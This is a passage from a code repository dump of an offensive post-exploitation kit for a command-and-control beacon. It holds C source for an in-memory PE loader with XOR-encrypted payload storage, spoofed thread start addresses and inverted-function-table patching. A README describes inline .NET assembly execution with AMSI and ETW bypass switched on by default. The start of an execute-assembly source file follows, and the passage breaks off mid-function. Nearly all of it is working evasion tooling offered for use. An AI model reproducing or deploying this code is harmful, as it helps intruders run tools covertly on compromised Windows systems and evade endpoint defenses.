compare_bytes(\n    IN PBYTE pData,\n    IN PBYTE bMask,\n    IN PCHAR szMask)\n{\n    for (; *szMask; ++szMask, ++pData, ++bMask)\n    {\n        if (*szMask == 'x' && *pData != *bMask)\n            return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL find_pattern(\n    IN PVOID dwAddress,\n    IN ULONG32 dwLen,\n    IN PBYTE bMask,\n    IN PCHAR szMask,\n    OUT PVOID* pattern_addr)\n{\n    PVOID current_address = NULL;\n    for (ULONG32 i = 0; i < dwLen; i++)\n    {\n        current_address = RVA2VA(PVOID, dwAddress, i);\n        if (compare_bytes(current_address, bMask, szMask))\n        {\n            if (pattern_addr)\n                *pattern_addr = current_address;\n            return TRUE;\n        }\n    }\n\n    return FALSE;\n}\n\n// check if bytes are from a windows PE\nBOOL is_pe(\n    IN HMODULE hLibrary)\n{\n    PIMAGE_DOS_HEADER dos = NULL;\n    PIMAGE_NT_HEADERS nt  = NULL;\n\n    if (!hLibrary)\n        return FALSE;\n\n    dos = (PIMAGE_DOS_HEADER)hLibrary;\n\n    // check the MZ magic bytes\n    if (dos->e_magic != 0x5A4D)\n        return FALSE;\n\n    nt = RVA2VA(PIMAGE_NT_HEADERS, hLibrary, dos->e_lfanew);\n\n    // check the NT_HEADER signature\n    if (nt->Signature != IMAGE_NT_SIGNATURE)\n        return FALSE;\n\n    return TRUE;\n}\n\n// check if bytes are from a windows DLL\nBOOL is_dll(\n    IN HMODULE hLibrary)\n{\n    PIMAGE_DOS_HEADER dos             = NULL;\n    PIMAGE_NT_HEADERS nt              = NULL;\n    USHORT            Characteristics = 0;\n\n    if (!is_pe(hLibrary))\n        return FALSE;\n\n    dos = (PIMAGE_DOS_HEADER)hLibrary;\n    nt  = RVA2VA(PIMAGE_NT_HEADERS, hLibrary, dos->e_lfanew);\n\n    // check that it is a DLL and not an EXE\n    Characteristics = nt->FileHeader.Characteristics;\n    if ((Characteristics & IMAGE_FILE_DLL) != IMAGE_FILE_DLL)\n        return FALSE;\n\n    return TRUE;\n}\n\n// remember we loaded this DLL by adding it to the 'libs_loaded' linked list\nVOID store_loaded_dll(\n    IN PLOADED_PE_INFO peinfo,\n    IN HMODULE dll,\n    IN PCHAR name)\n{\n    PLIBS_LOADED libs_loaded = NULL;\n    PLIB_LOADED  lib_loaded = NULL;\n\n    if (!peinfo)\n        return;\n\n    // first, check we didn't include this lib already\n    libs_loaded = BeaconGetValue(NC_LOADED_DLL_KEY);\n    lib_loaded = (PLIB_LOADED)libs_loaded->list.Flink;\n    while (&lib_loaded->list != &libs_loaded->list)\n    {\n        if (!_stricmp(lib_loaded->peinfo->pe_name, name))\n            return;\n\n        lib_loaded = (PLIB_LOADED)lib_loaded->list.Flink;\n    }\n\n    // add this DLL to the linked list\n    lib_loaded = intAlloc((sizeof(LIB_LOADED)));\n    if (!lib_loaded)\n        return;\n    StringCopyA(lib_loaded->name, name);\n    lib_loaded->address = dll;\n    lib_loaded->peinfo  = peinfo;\n\n    insert_tail_list(&libs_loaded->list, &lib_loaded->list);\n}\n\n/*\n * Some PEs will search for APIs at runtime\n * we need to spoof these as well if we want to prevent\n * our process from exiting.\n * PsExec searches for mscoree!CorExitProcess and calls it if found.\n * This only happens if the CLR is loaded (i.e. PowerShell has been run)\n */\nFARPROC WINAPI my_get_proc_address(\n    IN HMODULE hModule,\n    IN LPSTR lpProcName)\n{\n    return handle_import(NULL, hModule, NULL, lpProcName);\n}\n\n/*\n * If the PE calls GetModuleHandleW(NULL), we need to return\n * the base of our module, instead of the base of the host process\n */\nHMODULE WINAPI my_get_module_handle_w(\n  IN LPCWSTR lpModuleName)\n{\n    PLOADED_PE_INFO peinfo = NULL;\n\n    if (!lpModuleName)\n    {\n        peinfo = BeaconGetValue(NC_PE_INFO_KEY);\n        if (peinfo)\n        {\n            DPRINT(\"GetModuleHandleW(NULL) was called, returning 0x%p\", peinfo->pe_base);\n            return peinfo->pe_base;\n        }\n    }\n\n    // call the original GetModuleHandleW\n    HMODULE ( WINAPI *GetModuleHandleW ) ( LPCWSTR ) = xGetProcAddress(xGetLibAddress(\"kernelbase\", TRUE, NULL), \"GetModuleHandleW\", 0);\n    if (GetModuleHandleW)\n    {\n        return GetModuleHandleW(lpModuleName);\n    }\n    else\n    {\n        api_not_found(\"GetModuleHandleW\");\n        return NULL;\n    }\n}\n\nHANDLE get_console_handle(VOID)\n{\n    uPRTL_USER_PROCESS_PARAMETERS ProcessParameters = (uPRTL_USER_PROCESS_PARAMETERS)NtCurrentTeb()->ProcessEnvironmentBlock->ProcessParameters;\n    return ProcessParameters->ConsoleHandle;\n}\n\nVOID set_console_handle(\n    IN HANDLE hConsoleHandle)\n{\n    uPRTL_USER_PROCESS_PARAMETERS ProcessParameters = (uPRTL_USER_PROCESS_PARAMETERS)NtCurrentTeb()->ProcessEnvironmentBlock->ProcessParameters;\n    ProcessParameters->ConsoleHandle = hConsoleHandle;\n}\n\nHANDLE get_std_out_handle(VOID)\n{\n    uPRTL_USER_PROCESS_PARAMETERS ProcessParameters = (uPRTL_USER_PROCESS_PARAMETERS)NtCurrentTeb()->ProcessEnvironmentBlock->ProcessParameters;\n    return ProcessParameters->StandardOutput;\n}\n\nVOID set_std_out_handle(\n    IN HANDLE hStdOutErr)\n{\n    uPRTL_USER_PROCESS_PARAMETERS ProcessParameters = (uPRTL_USER_PROCESS_PARAMETERS)NtCurrentTeb()->ProcessEnvironmentBlock->ProcessParameters;\n    ProcessParameters->StandardOutput = hStdOutErr;\n}\n\nHANDLE get_std_err_handle(VOID)\n{\n    uPRTL_USER_PROCESS_PARAMETERS ProcessParameters = (uPRTL_USER_PROCESS_PARAMETERS)NtCurrentTeb()->ProcessEnvironmentBlock->ProcessParameters;\n    return ProcessParameters->StandardError;\n}\n\nVOID set_std_err_handle(\n    IN HANDLE hStdOutErr)\n{\n    uPRTL_USER_PROCESS_PARAMETERS ProcessParameters = (uPRTL_USER_PROCESS_PARAMETERS)NtCurrentTeb()->ProcessEnvironmentBlock->ProcessParameters;\n    ProcessParameters->StandardError = hStdOutErr;\n}\n\nHANDLE get_std_in_handle(VOID)\n{\n    uPRTL_USER_PROCESS_PARAMETERS ProcessParameters = (uPRTL_USER_PROCESS_PARAMETERS)NtCurrentTeb()->ProcessEnvironmentBlock->ProcessParameters;\n    return ProcessParameters->StandardInput;\n}\n\nDWORD get_tid(VOID)\n{\n    return (DWORD)(ULONG_PTR)((PTEB2)NtCurrentTeb())->ClientId.UniqueThread;\n}\n\nVOID rtl_exit_user_thread(VOID)\n{\n    PEXEC_CTX exec_ctx = BeaconGetValue(NC_EXEC_CTX);\n\n    // do we have a execution context saved?\n    if (exec_ctx)\n    {\n        // ensure this is the main thread\n        if (exec_ctx->Tid == get_tid())\n        {\n            // PE has exited, restore the execution context\n#ifdef _WIN64\n            __asm__(\n                \"mov rsp, rax \\n\"\n                \"mov rbp, rdx \\n\"\n                \"jmp rcx \\n\"\n                : // no outputs\n                : \"r\" (exec_ctx->Rsp), // RAX IN\n                  \"r\" (exec_ctx->Rbp), // RDX IN\n                  \"r\" (exec_ctx->Rip)  // RCX IN\n            );\n#else\n            __asm__(\n                \"mov esp, eax \\n\"\n                \"mov ebp, edx \\n\"\n                \"jmp ecx \\n\"\n                : // no outputs\n                : \"r\" (exec_ctx->Rsp), // EAX IN\n                  \"r\" (exec_ctx->Rbp), // EDX IN\n                  \"r\" (exec_ctx->Rip)  // ECX IN\n            );\n#endif\n        }\n    }\n\n    // either there is no execution context saved or this is not the main thread, simply exit\n    VOID ( WINAPI *RtlExitUserThread ) ( NTSTATUS ) = xGetProcAddress(xGetLibAddress(\"ntdll\", TRUE, NULL), \"RtlExitUserThread\", 0);\n    if (RtlExitUserThread)\n    {\n        return RtlExitUserThread(0);\n    }\n    else\n    {\n        api_not_found(\"RtlExitUserThread\");\n    }\n}\n\nBOOL create_thread(\n    OUT PHANDLE hThread)\n{\n    time_t   t             = { 0 };\n    UINT32   ordinal       = 0;\n    PVOID    start_address = NULL;\n    NTSTATUS status        = STATUS_UNSUCCESSFUL;\n\n    if (!hThread)\n        return FALSE;\n\n    VOID (WINAPI *srand) (int) = xGetProcAddress(xGetLibAddress(\"msvcrt\", TRUE, NULL), \"srand\", 0);\n    int (WINAPI *rand) (void)  = xGetProcAddress(xGetLibAddress(\"msvcrt\", TRUE, NULL), \"rand\", 0);\n\n    if (!srand)\n    {\n        api_not_found(\"srand\");\n        return FALSE;\n    }\n\n    if (!rand)\n    {\n        api_not_found(\"rand\");\n        return FALSE;\n    }\n\n    time_t (WINAPI* time) (time_t*) = xGetProcAddress(xGetLibAddress(\"msvcrt\", TRUE, NULL), \"time\", 0);\n\n    if (!time)\n    {\n        api_not_found(\"time\");\n        return FALSE;\n    }\n\n    srand((unsigned) time(&t));\n\n    // obtain a \"valid\" start address by getting a random Kernel32 API address\n    while (!start_address)\n    {\n        ordinal = rand() & (256 - 1);\n        start_address = xGetProcAddress(xGetLibAddress(\"kernel32\", TRUE, NULL), NULL, ordinal);\n    }\n\n    status = NtCreateThreadEx(hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), start_address, NULL, 1, 0, 0, 0, NULL);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateThreadEx\", status);\n        return FALSE;\n    }\n\n    DPRINT(\"Created thread with 0x%p as start address\", start_address);\n\n    return TRUE;\n}\n\nBOOL read_local_pe(\n    IN LPCTSTR path,\n    OUT PVOID* data,\n    OUT int* pelen)\n{\n    BOOL          ret_val    = FALSE;\n    HANDLE        hFile      = NULL;\n    DWORD         bRead      = 0;\n    LARGE_INTEGER lpFileSize = { 0 };\n    PBYTE         pe         = NULL;\n\n    // Try and open a handle to the specified file\n    hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n    if (hFile == INVALID_HANDLE_VALUE)\n    {\n        PRINT_ERR(\"Unable to open %s. Last error: %d\", path, GetLastError());\n        goto Cleanup;\n    }\n\n    // Get size of file\n    if(!GetFileSizeEx(hFile, &lpFileSize))\n    {\n        function_failed(\"GetFileSizeEx\");\n        goto Cleanup;\n    }\n\n    // Allocate buffer to hold the PE\n    pe = intAlloc(lpFileSize.LowPart + 1);\n    if (!pe)\n    {\n        malloc_failed();\n        goto Cleanup;\n    }\n\n    // Read file into buffer\n    if(!ReadFile(hFile, pe, lpFileSize.LowPart, &bRead, NULL))\n    {\n        function_failed(\"ReadFile\");\n        goto Cleanup;\n    }\n\n    *data  = pe;\n    *pelen = lpFileSize.LowPart;\n\n    ret_val = TRUE;\n\nCleanup:\n    if (hFile && hFile != INVALID_HANDLE_VALUE)\n        NtClose(hFile);\n\n    if (pe && !ret_val)\n    {\n        memset(pe, 0, lpFileSize.LowPart);\n        intFree(pe);\n        pe = NULL;\n    }\n\n    return ret_val;\n}\n\nPSAVED_PE find_pe_by_name(\n    IN LPSTR pe_name)\n{\n    PSAVED_PE saved_pe = NULL;\n\n    saved_pe = BeaconGetValue(NC_SAVED_PE_KEY);\n    while (saved_pe)\n    {\n        if (!_stricmp(saved_pe->pe_name, pe_name))\n            break;\n\n        saved_pe = saved_pe->next;\n    }\n\n    if (!saved_pe)\n    {\n        DPRINT(\"%s was not found\", pe_name);\n        return NULL;\n    }\n\n    return saved_pe;\n}\n\nVOID run_xor_on_pe(\n    IN PSAVED_PE saved_pe)\n{\n    PBYTE xor_key = NULL;\n    BYTE  tmp     = 0;\n\n    xor_key = intAlloc(saved_pe->xor_length);\n    if (!xor_key)\n    {\n        malloc_failed();\n        return;\n    }\n    memcpy(xor_key, saved_pe->xor_key, saved_pe->xor_length);\n\n    if (saved_pe->encrypted)\n    {\n        // decrypt\n        for (int i = 0; i < saved_pe->pe_size; ++i)\n        {\n            tmp = saved_pe->pe_base[i];\n            saved_pe->pe_base[i] ^= xor_key[i % saved_pe->xor_length];\n            xor_key[i % saved_pe->xor_length] = tmp;\n        }\n    }\n    else\n    {\n        // encrypt\n        for (int i = 0; i < saved_pe->pe_size; ++i)\n        {\n            saved_pe->pe_base[i] ^= xor_key[i % saved_pe->xor_length];\n            xor_key[i % saved_pe->xor_length] = saved_pe->pe_base[i];\n        }\n    }\n\n    memset(xor_key, 0, saved_pe->xor_length);\n    intFree(xor_key);\n    saved_pe->encrypted = !saved_pe->encrypted;\n}\n\nBOOL save_pe_info(\n    IN LPSTR pe_name,\n    IN PBYTE pe_bytes,\n    IN int   pe_length,\n    IN LPSTR loadtime)\n{\n    PSAVED_PE saved_pe = NULL;\n    PSAVED_PE tmp      = NULL;\n    time_t   t         = { 0 };\n\n    if (!pe_name || !pe_bytes || !pe_length)\n        return TRUE;\n\n    // check the PE is not already saved\n    if (find_pe_by_name(pe_name))\n    {\n        DPRINT(\"The PE %s is already saved\", pe_name);\n        return TRUE;\n    }\n\n    VOID (WINAPI *srand) (int) = xGetProcAddress(xGetLibAddress(\"msvcrt\", TRUE, NULL), \"srand\", 0);\n    int (WINAPI *rand) (void)  = xGetProcAddress(xGetLibAddress(\"msvcrt\", TRUE, NULL), \"rand\", 0);\n    time_t (WINAPI* time) (time_t*) = xGetProcAddress(xGetLibAddress(\"msvcrt\", TRUE, NULL), \"time\", 0);\n\n    if (!srand)\n    {\n        api_not_found(\"srand\");\n        return FALSE;\n    }\n\n    if (!rand)\n    {\n        api_not_found(\"rand\");\n        return FALSE;\n    }\n\n    if (!time)\n    {\n        api_not_found(\"time\");\n        return FALSE;\n    }\n\n    // allocate the SAVED_PE structure\n    saved_pe = intAlloc(sizeof(SAVED_PE));\n\n    // generate a random XOR key\n    srand((unsigned) time(&t));\n\n    saved_pe->xor_length = rand() & (256 - 1);\n\n    if (saved_pe->xor_length < MIN_XOR_KEY_LENGTH)\n        saved_pe->xor_length = MIN_XOR_KEY_LENGTH;\n\n    saved_pe->xor_key = intAlloc(saved_pe->xor_length);\n\n    for (int i = 0; i < saved_pe->xor_length; ++i)\n    {\n        saved_pe->xor_key[i] = rand() & (256 - 1);\n    }\n\n    // store the PE\n    saved_pe->pe_size = pe_length;\n    saved_pe->pe_base = intAlloc(saved_pe->pe_size);\n    if (!saved_pe->pe_base)\n    {\n        function_failed(\"malloc\");\n        return FALSE;\n    }\n\n    memcpy(saved_pe->pe_base, pe_bytes, pe_length);\n\n    // encrypt the PE\n    run_xor_on_pe(saved_pe);\n    StringCopyA(saved_pe->pe_name, pe_name);\n    StringCopyA(saved_pe->loadtime, loadtime);\n\n    // add PE to linked list\n    tmp = BeaconGetValue(NC_SAVED_PE_KEY);\n    if (!tmp)\n    {\n        // save the PE linked list\n        if (!BeaconAddValue(NC_SAVED_PE_KEY, saved_pe))\n        {\n            function_failed(\"BeaconAddValue\");\n            return FALSE;\n        }\n    }\n    else\n    {\n        while (tmp)\n        {\n            if (!tmp->next)\n            {\n                tmp->next = saved_pe;\n                break;\n            }\n\n            tmp = tmp->next;\n        }\n    }\n\n    return TRUE;\n}\n\nBOOL get_saved_pe(\n    IN  LPSTR  pe_name,\n    OUT PVOID* data,\n    OUT int*   pelen)\n{\n    PSAVED_PE saved_pe = NULL;\n\n    saved_pe = find_pe_by_name(pe_name);\n    if (!saved_pe)\n        return FALSE;\n\n    DPRINT(\"Found %s\", saved_pe->pe_name);\n\n    if (saved_pe->encrypted)\n    {\n        // decrypt the PE\n        run_xor_on_pe(saved_pe);\n\n        DPRINT(\"decrypted binary\")\n    }\n\n    *data  = saved_pe->pe_base;\n    *pelen = saved_pe->pe_size;\n\n    return TRUE;\n}\n\nBOOL reencrypt_pe(\n    IN LPSTR pe_name)\n{\n    PSAVED_PE saved_pe = NULL;\n\n    saved_pe = find_pe_by_name(pe_name);\n    if (!saved_pe)\n        return FALSE;\n\n    if (!saved_pe->encrypted)\n    {\n        // encrypt the PE\n        run_xor_on_pe(saved_pe);\n\n        DPRINT(\"reencrypted %s\", saved_pe->pe_name);\n    }\n\n    return TRUE;\n}\n\nVOID list_saved_pes()\n{\n    PSAVED_PE saved_pe = NULL;\n\n    saved_pe = BeaconGetValue(NC_SAVED_PE_KEY);\n    if (!saved_pe)\n    {\n        PRINT(\"There are no saved PEs in memory\");\n    }\n    else\n    {\n        PRINT(\"Saved PEs:\");\n        while (saved_pe)\n        {\n            PRINT(\"- name: %s, time: %s\", saved_pe->pe_name, saved_pe->loadtime);\n            saved_pe = saved_pe->next;\n        }\n    }\n}\n\nBOOL remove_saved_pe(\n    IN  LPSTR  pe_name)\n{\n    PSAVED_PE saved_pe = NULL;\n    PSAVED_PE tmp      = NULL;\n\n    // look for the PE by name\n    saved_pe = BeaconGetValue(NC_SAVED_PE_KEY);\n    while (saved_pe)\n    {\n        if (!_stricmp(saved_pe->pe_name, pe_name))\n        {\n            // remove PE from linked list\n            if (!tmp)\n            {\n                if (!BeaconRemoveValue(NC_SAVED_PE_KEY))\n                {\n                    function_failed(\"BeaconRemoveValue\");\n                    return FALSE;\n                }\n\n                if (saved_pe->next)\n                {\n                    if (!BeaconAddValue(NC_SAVED_PE_KEY, saved_pe->next))\n                    {\n                        function_failed(\"BeaconAddValue\");\n                        return FALSE;\n                    }\n                }\n            }\n            else\n            {\n                tmp->next = saved_pe->next;\n            }\n\n            break;\n        }\n\n        tmp = saved_pe;\n        saved_pe = saved_pe->next;\n    }\n\n    if (!saved_pe)\n    {\n        DPRINT(\"%s was not found\", pe_name);\n        return FALSE;\n    }\n\n    memset(saved_pe->xor_key, 0, saved_pe->xor_length);\n    intFree(saved_pe->xor_key);\n\n    memset(saved_pe->pe_base, 0, saved_pe->pe_size);\n    intFree(saved_pe->pe_base);\n\n    memset(saved_pe, 0, sizeof(SAVED_PE));\n    intFree(saved_pe);\n\n    return TRUE;\n}\n\n#ifdef _WIN64\n\n/*\n * The .mrdata section where the inverted function table\n * is stored is read-only by default, we need to set it to\n * read-write before we add a new entry and restore it\n * once we are done\n */\nBOOL protect_inverted_function_table(\n    IN BOOL protect)\n{\n    PVOID                  stBegin   = 0;\n    SIZE_T                 len       = 0;\n    PIMAGE_NT_HEADERS      nt        = NULL;\n    PIMAGE_SECTION_HEADER  pSection  = NULL;\n    DWORD                  newprot   = protect ? PAGE_READONLY : PAGE_READWRITE;\n    DWORD                  oldprot   = 0;\n    NTSTATUS               status    = STATUS_UNSUCCESSFUL;\n    PIMAGE_DOS_HEADER      dos       = NULL;\n\n    dos = xGetLibAddress(\"ntdll\", TRUE, NULL);\n    nt  = RVA2VA(PIMAGE_NT_HEADERS, dos, dos->e_lfanew);\n\n    // find the .mrdata section\n    pSection = IMAGE_FIRST_SECTION(nt);\n    for (INT i = 0; i < nt->FileHeader.NumberOfSections; i++)\n    {\n        if (!strncmp(\".mrdata\", (LPCSTR)pSection->Name, 8))\n        {\n            stBegin = RVA2VA(PVOID, dos, pSection->VirtualAddress);\n            len = pSection->Misc.VirtualSize;\n            break;\n        }\n\n        ++pSection;\n    }\n\n    if (!stBegin || !len)\n    {\n        DPRINT(\"Failed to find section\");\n        return FALSE;\n    }\n\n    status = NtProtectVirtualMemory(NtCurrentProcess(), &stBegin, &len, newprot, &oldprot);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtProtectVirtualMemory\", status);\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n/*\n * The inverted function table is stored at .mrdata\n * and it holds one entry for each currently loaded DLL\n * that has an exception directory.\n * We can find it in memory by loking for NTDLL's entry\n * which is always first in the array.\n */\nPVOID find_inverted_function_table()\n{\n    PVOID                         stEnd       = 0;\n    PVOID                         stBegin     = 0;\n    DWORD                         dwLen       = 0;\n    DWORD                         rva         = 0;\n    SIZE_T                        stRet       = 0;\n    PIMAGE_NT_HEADERS             nt          = NULL;\n    PIMAGE_SECTION_HEADER         pSection    = NULL;\n    INVERTED_FUNCTION_TABLE_ENTRY ntdll_entry = { 0 };\n    PIMAGE_DOS_HEADER             dos         = NULL;\n\n    // reference: https://github.com/bats3c/DarkLoadLibrary/blob/6de15faa2cbc2b909500a67e854980deb0c0ba8c/DarkLoadLibrary/src/pebutils.c#L59\n\n    dos = xGetLibAddress(\"ntdll\", TRUE, NULL);\n    nt  = RVA2VA(PIMAGE_NT_HEADERS, dos, dos->e_lfanew);\n    rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;\n\n    // create a copy of NTDLL's entry so we know what we are looking for\n    ntdll_entry.FunctionTable = RVA2VA(PVOID, dos, rva);\n    ntdll_entry.ImageBase     = dos;\n    ntdll_entry.SizeOfImage   = nt->OptionalHeader.SizeOfImage;\n    ntdll_entry.SizeOfTable   = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;\n\n    // find the .mrdata section on NTDLL\n    pSection = IMAGE_FIRST_SECTION(nt);\n    for (INT i = 0; i < nt->FileHeader.NumberOfSections; i++)\n    {\n        if (!strncmp(\".mrdata\", (LPCSTR)pSection->Name, 8))\n        {\n            stBegin = RVA2VA(PVOID, dos, pSection->VirtualAddress);\n            dwLen = pSection->Misc.VirtualSize;\n            break;\n        }\n\n        ++pSection;\n    }\n\n    if (!stBegin || !dwLen)\n    {\n        DPRINT(\"Failed to find section\");\n        return NULL;\n    }\n\n    // look for NTDLL's entry\n    for (DWORD i = 0; i < dwLen - sizeof(INVERTED_FUNCTION_TABLE_ENTRY); ++i)\n    {\n        stRet = RtlCompareMemory(stBegin, &ntdll_entry, sizeof(INVERTED_FUNCTION_TABLE_ENTRY));\n\n        if (stRet == sizeof(INVERTED_FUNCTION_TABLE_ENTRY))\n        {\n            stEnd = stBegin;\n            break;\n        }\n\n        stBegin = RVA2VA(PVOID, stBegin, 1);\n    }\n\n    if (!stEnd)\n    {\n        DPRINT(\"Failed to find inverted function table\");\n        return NULL;\n    }\n\n    // get the base of the structure\n    stEnd = CONTAINING_RECORD(stEnd, INVERTED_FUNCTION_TABLE_KERNEL_MODE, TableEntry);\n\n    return stEnd;\n}\n\n/*\n * The code below is (mostly) equivalent to ntdll!RtlpInsertInvertedFunctionTableEntry,\n * but we do this by hand because that API is not exported by NTDLL.\n * Given that we are dealing with internal undocumented Windows structures,\n * there is no guarantee that this will work on older or newer versions.\n * This has been tested on Windows 10.0.19045, YMMV\n */\nBOOL insert_inverted_function_table_entry(\n    IN PVOID base_address,\n    IN SIZE_T size_of_image,\n    IN PRUNTIME_FUNCTION func_table,\n    IN DWORD size_of_table)\n{\n    BOOL                                 Success   = FALSE;\n    BOOL                                 is_unprot = FALSE;\n    DWORD                                num_elems = 0;\n    PINVERTED_FUNCTION_TABLE_KERNEL_MODE ift       = NULL;\n    PINVERTED_FUNCTION_TABLE_ENTRY       fte       = NULL;\n\n    ift = find_inverted_function_table();\n    if (!ift)\n        goto Cleanup;\n\n    if (!protect_inverted_function_table(FALSE))\n        goto Cleanup;\n\n    is_unprot = TRUE;\n\n    if (ift->CurrentSize == ift->MaximumSize)\n    {\n        ift->Overflow = 1;\n        DPRINT(\"Too many entries in the inverted function table\");\n        goto Cleanup;\n    }\n\n    //ift->Epoch++;\n    num_elems = 1;\n    if (ift->CurrentSize != 1)\n    {\n        if (ift->CurrentSize > 1)\n        {\n            // ntdll is always at 0, so we start at 1\n            fte = &ift->TableEntry[1];\n            do\n            {\n                if (base_address < fte->FunctionTable)\n                    break;\n\n                num_elems++;\n                fte++;\n            } while(num_elems < ift->CurrentSize);\n        }\n\n        if (num_elems != ift->CurrentSize)\n        {\n            memcpy(\n                &ift->TableEntry[num_elems + 1],\n                &ift->TableEntry[num_elems],\n                (ift->CurrentSize - num_elems) * sizeof(INVERTED_FUNCTION_TABLE_ENTRY));\n        }\n    }\n\n    ift->TableEntry[num_elems].FunctionTable = func_table;\n    ift->TableEntry[num_elems].ImageBase     = base_address;\n    ift->TableEntry[num_elems].SizeOfImage   = size_of_image;\n    ift->TableEntry[num_elems].SizeOfTable   = size_of_table;\n\n    ift->CurrentSize++;\n    //ift->Epoch++;\n\n    Success = TRUE;\n\nCleanup:\n    if (is_unprot)\n        protect_inverted_function_table(TRUE);\n\n    return Success;\n}\n\n/*\n * Once we are done, we remove our entry from the inverted function table\n */\nBOOL remove_inverted_function_table_entry(\n    IN PRUNTIME_FUNCTION func_table)\n{\n    BOOL                                 Success   = FALSE;\n    BOOL                                 is_unprot = FALSE;\n    PINVERTED_FUNCTION_TABLE_KERNEL_MODE ift       = NULL;\n    PINVERTED_FUNCTION_TABLE_ENTRY       fte       = NULL;\n\n    ift = find_inverted_function_table();\n    if (!ift)\n        goto Cleanup;\n\n    for (DWORD i = 1; i < ift->CurrentSize; ++i)\n    {\n        fte = &ift->TableEntry[i];\n\n        if (fte->FunctionTable == func_table)\n        {\n            if (!protect_inverted_function_table(FALSE))\n                goto Cleanup;\n\n            is_unprot = TRUE;\n\n            if (ift->CurrentSize != i + 1)\n            {\n                memcpy(\n                    &ift->TableEntry[i],\n                    &ift->TableEntry[i + 1],\n                    (ift->CurrentSize - i - 1) * sizeof(INVERTED_FUNCTION_TABLE_ENTRY));\n            }\n\n            ift->CurrentSize--;\n\n            break;\n        }\n    }\n\n    Success = TRUE;\n\nCleanup:\n    if (is_unprot)\n        protect_inverted_function_table(TRUE);\n\n    return Success;\n}\n\n#endif // _WIN64\n"
  },
  {
    "path": "Execution-BOF/README.md",
    "content": "# Execution-BOF\n\nBOFs for inline execution\n\n![](./_img/01.png)\n\n## execute-assembly\n\nPerform in process .NET assembly execution\n\n```\nexecute-assembly <path> [params]\n```\n \nThe defaults are set as follows in `execute-assembly/inlineExecute-Assembly.c` to change them, edit and recompile.\n\n```\n\tchar* appDomain = \"test\";\n\tchar* pipeName = \"test\";\n\tchar* slotName = \"test\";\n\tBOOL amsi = 1;\n\tBOOL etw = 1;\n\tBOOL revertETW = 1;\n\tBOOL mailSlot = 0;\n\tULONG entryPoint = 1;\n```\n\n\n\n## noconsolation\n\nThis is a Beacon Object File (BOF) that executes unmanaged PEs inline and retrieves their output without allocating a console (i.e. spawning `conhost.exe`). [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/Execution-BOF/No-Consolation/README.md)\n\n\n## Credits\n\n* InlineExecute-Assembly - https://github.com/anthemtotheego/InlineExecute-Assembly\n* AMSI bypass - https://practicalsecurityanalytics.com/new-amsi-bypss-technique-modifying-clr-dll-in-memory/\n* No-Consolation - https://github.com/fortra/No-Consolation"
  },
  {
    "path": "Execution-BOF/execute-assembly/inlineExecute-Assembly.c",
    "content": "#include <windows.h>\r\n#include <io.h>\r\n#include <stdio.h>\r\n#include <fcntl.h>\r\n#include <evntprov.h>\r\n\r\n#include \"beacon.h\"\r\n#include \"inlineExecute-Assembly.h\"\r\n\r\n#define CHUNK_SIZE 65535  // Optimal chunk size for transmission\r\n#define INITIAL_BUFFER_SIZE 65535  // Initial buffer size for small outputs\r\n\r\n// Global cleanup tracking\r\ntypedef struct _CLEANUP_CONTEXT {\r\n    char* pipePath;\r\n    char* slotPath;\r\n    wchar_t* wAssemblyArguments;\r\n    wchar_t* wAppDomain;\r\n    HINSTANCE hUser32;\r\n    HANDLE mainHandle;\r\n    HANDLE hFile;\r\n    HANDLE hEvent;\r\n    char* returnData;\r\n    size_t returnDataSize;  // Track allocated size\r\n    BOOL useChunking;  // Flag to indicate if chunking was used\r\n    ICLRMetaHost* pClrMetaHost;\r\n    ICLRRuntimeInfo* pClrRuntimeInfo;\r\n    ICorRuntimeHost* pICorRuntimeHost;\r\n    IUnknown* pAppDomainThunk;\r\n    AppDomain* pAppDomain;\r\n    Assembly* pAssembly;\r\n    MethodInfo* pMethodInfo;\r\n    SAFEARRAY* pSafeArray;\r\n    SAFEARRAY* psaStaticMethodArgs;\r\n    VARIANT vtPsa;\r\n    VARIANT retVal;\r\n    VARIANT obj;\r\n} CLEANUP_CONTEXT, *PCLEANUP_CONTEXT;\r\n\r\n// Initialize cleanup context\r\nstatic void InitCleanupContext(PCLEANUP_CONTEXT ctx) {\r\n    MSVCRT$memset(ctx, 0, sizeof(CLEANUP_CONTEXT));\r\n    ctx->mainHandle = INVALID_HANDLE_VALUE;\r\n    ctx->hFile = INVALID_HANDLE_VALUE;\r\n    ctx->hEvent = INVALID_HANDLE_VALUE;\r\n    ctx->useChunking = FALSE;\r\n    ctx->returnDataSize = 0;\r\n}\r\n\r\n// Cleanup function\r\nstatic void PerformCleanup(PCLEANUP_CONTEXT ctx, BOOL frConsole, BOOL revertETW) {\r\n    // Free allocated memory\r\n    if (ctx->pipePath) { MSVCRT$free(ctx->pipePath); }\r\n    if (ctx->slotPath) { MSVCRT$free(ctx->slotPath); }\r\n    if (ctx->wAssemblyArguments) { MSVCRT$free(ctx->wAssemblyArguments); }\r\n    if (ctx->wAppDomain) { MSVCRT$free(ctx->wAppDomain); }\r\n    if (ctx->returnData) { intFree(ctx->returnData); }\r\n\r\n    // Free library handles\r\n    if (ctx->hUser32) { KERNEL32$FreeLibrary(ctx->hUser32); }\r\n\r\n    // Close handles\r\n    if (ctx->mainHandle != INVALID_HANDLE_VALUE) { KERNEL32$CloseHandle(ctx->mainHandle); }\r\n    if (ctx->hFile != INVALID_HANDLE_VALUE) { KERNEL32$CloseHandle(ctx->hFile); }\r\n    if (ctx->hEvent != INVALID_HANDLE_VALUE) { KERNEL32$CloseHandle(ctx->hEvent); }\r\n\r\n    // Clean up COM objects\r\n    if (ctx->pSafeArray) { OLEAUT32$SafeArrayDestroy(ctx->pSafeArray); }\r\n    if (ctx->psaStaticMethodArgs) { OLEAUT32$SafeArrayDestroy(ctx->psaStaticMethodArgs); }\r\n\r\n    OLEAUT32$VariantClear(&ctx->vtPsa);\r\n    OLEAUT32$VariantClear(&ctx->retVal);\r\n    